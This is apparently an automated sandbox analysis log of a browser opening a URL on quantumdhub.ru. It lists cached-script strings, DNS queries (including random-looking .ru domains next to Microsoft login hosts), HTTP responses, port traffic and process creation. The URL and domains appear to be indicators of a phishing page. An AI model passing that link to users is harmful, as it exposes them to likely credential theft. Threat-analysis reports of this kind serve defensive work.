Source: chromecache_268.2.dr, chromecache_278.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.facebook.com (Facebook)
Source: chromecache_268.2.dr, chromecache_278.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gadk.quantumdhub.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: qyirfeifkmxfpzq40aunypu4fmz8ucnejoritjokcewctv5c9qybgue.lpliwptf.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.botframework.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: publisher.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: lpcdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: lptag.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: accdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: static-assets.fs.liveperson.com
Source: global traffic	DNS traffic detected: DNS query: mscom.demdex.net
Source: global traffic	DNS traffic detected: DNS query: msftenterprise.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 20 Dec 2024 23:35:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Zs16ks2siptKF0TTTImZcm1g8hmLIveGGK5ITF%2FStCvWAItQyCIHNRek7Du8k5yIEIQ8yqHdqLRiNw7ijlbbW6s48H58bHYSbVtsLqb8dlqa%2FQgnM7j7qPyOl4tAA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1230&min_rtt=1208&rtt_var=360&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2265&delivery_rate=2283911&cwnd=251&unsent_bytes=0&cid=3f35405dad639a9f&ts=125&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8f53739fcfb27d0e-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1961&min_rtt=1950&rtt_var=739&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1929&delivery_rate=1497435&cwnd=243&unsent_bytes=0&cid=57a8c6845244f4ca&ts=9959&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 20 Dec 2024 23:36:00 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: +6hL0pT3TJ97Y8rcnxtD/lwrfIFhoydpd3U=$aJ/2MbpsaKhdA8vdcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f5373b8bbb878df-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 20 Dec 2024 23:36:06 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 7F0/pDSQSbTkw548yn9HA/XnXL5Mj+Vgrs4=$EaMn5VI9x5h6mS2bcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f5373e3aeff2361-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 20 Dec 2024 23:36:11 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: Q1HCreE2AIe3HaCa1s1vCmLo9GZoDuif7LA=$ZUtEN0WpFGGHPseDServer: cloudflareCF-RAY: 8f5373fe1b9642ad-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_319.2.dr, chromecache_275.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_257.2.dr, chromecache_302.2.dr	String found in binary or memory: http://scottjehl.github.io/picturefill
Source: chromecache_309.2.dr, chromecache_251.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_178.2.dr	String found in binary or memory: http://www.javascripter.net/faq/browsern.htm
Source: chromecache_178.2.dr	String found in binary or memory: http://www.javascriptkit.com/dhtmltutors/cssmediaqueries3.shtml
Source: chromecache_166.2.dr	String found in binary or memory: https://aka.ms/28808
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://aka.ms/PBI_Comm_Overview
Source: chromecache_187.2.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_172.2.dr, chromecache_199.2.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/d6d76b37b476/launch-41185cd0b005.js
Source: chromecache_197.2.dr, chromecache_308.2.dr	String found in binary or memory: https://axios-http.com
Source: chromecache_311.2.dr, chromecache_314.2.dr	String found in binary or memory: https://breeze.aimon.applicationinsights.io
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=12006
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=3334
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://bugzil.la/548397
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=277178
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=308064
Source: chromecache_329.2.dr, chromecache_249.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bluebird
Source: chromecache_166.2.dr	String found in binary or memory: https://checkout.office.com/acquire/purchase
Source: chromecache_166.2.dr	String found in binary or memory: https://checkout.office.com/acquire/purchase/
Source: chromecache_311.2.dr, chromecache_314.2.dr	String found in binary or memory: https://dc-int.services.visualstudio.com
Source: chromecache_311.2.dr, chromecache_314.2.dr	String found in binary or memory: https://dc.services.visualstudio.com
Source: chromecache_192.2.dr	String found in binary or memory: https://dev.azure.com/mscomdev/Moray/_workitems/edit/4494
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46
Source: chromecache_197.2.dr, chromecache_308.2.dr	String found in binary or memory: https://github.com/axios/axios.git
Source: chromecache_197.2.dr, chromecache_308.2.dr	String found in binary or memory: https://github.com/axios/axios/issues
Source: chromecache_283.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/carhartl/jquery-cookie
Source: chromecache_290.2.dr	String found in binary or memory: https://github.com/microsoft/BotFramework-WebChat/issues/2119
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/mozilla/rhino/issues/346
Source: chromecache_268.2.dr, chromecache_278.2.dr	String found in binary or memory: https://github.com/nevware21/ts-async
Source: chromecache_302.2.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/blob/master/Authors.txt;
Source: chromecache_257.2.dr, chromecache_302.2.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/tree/3.0/src/plugins/gecko-picture
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/tc39/proposal-error-cause
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/w3c/aria-practices/pull/1757
Source: chromecache_282.2.dr, chromecache_191.2.dr, chromecache_305.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.25.0/LICENSE
Source: chromecache_282.2.dr, chromecache_305.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.30.1/LICENSE
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
Source: chromecache_180.2.dr, chromecache_240.2.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1MmB8?ver=6c43g
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://javascript.info/size-and-scroll-window#width-height-of-the-document
Source: chromecache_321.2.dr, chromecache_296.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_321.2.dr, chromecache_296.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_321.2.dr, chromecache_296.2.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_166.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.min.js
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://keycode.info/table-of-all-keycodes
Source: chromecache_224.2.dr, chromecache_330.2.dr	String found in binary or memory: https://login.live.com/Me.srf?wa
Source: chromecache_224.2.dr, chromecache_330.2.dr	String found in binary or memory: https://login.microsoftonline.com/forgetuser
Source: chromecache_224.2.dr, chromecache_330.2.dr	String found in binary or memory: https://login.microsoftonline.com/savedusers?appid
Source: chromecache_330.2.dr	String found in binary or memory: https://login.microsoftonline.com/uxlogout?appid
Source: chromecache_166.2.dr	String found in binary or memory: https://lpcdn.lpsnmedia.net/le_unified_window/10.13.0.5-release_5314/resources/icons/desktop/sprites
Source: chromecache_166.2.dr	String found in binary or memory: https://lpcdn.lpsnmedia.net/le_unified_window/9.12.0.19-release_4769/resources/loader_on_warmGray5_7
Source: chromecache_166.2.dr	String found in binary or memory: https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailabili
Source: chromecache_197.2.dr, chromecache_308.2.dr	String found in binary or memory: https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/
Source: chromecache_162.2.dr, chromecache_260.2.dr	String found in binary or memory: https://msonecloudapifd-c7cndkdmc9c3d7e3.z01.azurefd.net
Source: chromecache_162.2.dr, chromecache_260.2.dr	String found in binary or memory: https://msonecloudapifd-nonprod-adg7arhndebhe8hd.z01.azurefd.net
Source: chromecache_180.2.dr, chromecache_240.2.dr	String found in binary or memory: https://outlook.live.com/owa/?nlp=1
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://play.vidyard.com/embed/v4.js
Source: chromecache_257.2.dr, chromecache_302.2.dr	String found in binary or memory: https://scottjehl.github.io/picturefill/
Source: chromecache_166.2.dr	String found in binary or memory: https://signup-local.azure.com/
Source: chromecache_166.2.dr	String found in binary or memory: https://signup-staging.azure.com/
Source: chromecache_166.2.dr	String found in binary or memory: https://signup.azure.com/
Source: chromecache_321.2.dr, chromecache_296.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_166.2.dr	String found in binary or memory: https://stores.office.com/
Source: chromecache_166.2.dr	String found in binary or memory: https://stores.office.com/subscription/acquire
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot-aec
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.includes
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.indexof
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-getmethod
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-hasownproperty
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-iscallable
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-lengthofarraylike
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-math.trunc
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.defineproperty
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertydescriptor
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertynames
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.setprototypeof
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-ordinarytoprimitive
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-requireobjectcoercible
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tointegerorinfinity
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tolength
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toobject
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toprimitive
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-topropertykey
Source: chromecache_191.2.dr, chromecache_192.2.dr	String found in binary or memory: https://tc39.es/proposal-error-cause/#sec-errorobjects-install-error-cause
Source: chromecache_166.2.dr	String found in binary or memory: https://va.idp.liveperson.net
Source: chromecache_166.2.dr	String found in binary or memory: https://va.msg.liveperson.net
Source: chromecache_166.2.dr	String found in binary or memory: https://www.microsoftstore.com.cn/
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://www.skype.com/en/
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://www.xbox.com/
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://www.xbox.com/en-us/games/store/pc-game-pass/cfq7ttc0kgq8?icid=CNavAllPCGamePass
Source: chromecache_272.2.dr, chromecache_187.2.dr	String found in binary or memory: https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1624 --field-trial-handle=2032,i,17181791565216499236,9261844077795664136,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1624 --field-trial-handle=2032,i,17181791565216499236,9261844077795664136,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

